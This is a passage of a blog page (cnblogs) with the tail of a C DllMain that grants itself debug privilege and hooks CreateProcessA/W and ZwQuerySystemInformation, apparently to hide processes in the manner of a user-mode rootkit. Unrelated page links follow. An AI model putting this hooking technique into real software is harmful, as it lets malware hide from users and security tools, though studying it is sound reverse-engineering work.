        if ((p != NULL) && !_stricmp(p + 1, "HideProc2.exe"))
            return TRUE;
    
    
        SetPrivilege(SE_DEBUG_NAME, TRUE);
    
        switch (fdwReason)
        {
        case DLL_PROCESS_ATTACH:
    
            hook_by_code("kernel32.dll", "CreateProcessA",
                (PROC)NewCreateProcessA, g_pOrgCPA);
            hook_by_code("kernel32.dll", "CreateProcessW",
                (PROC)NewCreateProcessW, g_pOrgCPW);
            hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
                (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
            break;
    
        case DLL_PROCESS_DETACH:
    
            unhook_by_code("kernel32.dll", "CreateProcessA",
                g_pOrgCPA);
            unhook_by_code("kernel32.dll", "CreateProcessW",
                g_pOrgCPW);
            unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
                g_pOrgZwQSI);
            break;
        }
    
        return TRUE;
    }
    
    
  • 相关阅读:
    字符串 CSV解析 表格 逗号分隔值 通讯录 电话簿 MD
    Context Application 使用总结 MD
    RxJava RxPermissions 动态权限 简介 原理 案例 MD
    Luban 鲁班 图片压缩 MD
    FileProvider N 7.0 升级 安装APK 选择文件 拍照 临时权限 MD
    组件化 得到 DDComponent JIMU 模块 插件 MD
    gradlew 命令行 build 调试 构建错误 Manifest merger failed MD
    protobuf Protocol Buffers 简介 案例 MD
    ORM数据库框架 SQLite 常用数据库框架比较 MD
    [工具配置]requirejs 多页面,多入口js文件打包总结
  • 原文地址:https://www.cnblogs.com/lex-shoukaku/p/13814969.html
Copyright © 2020-2023  润新知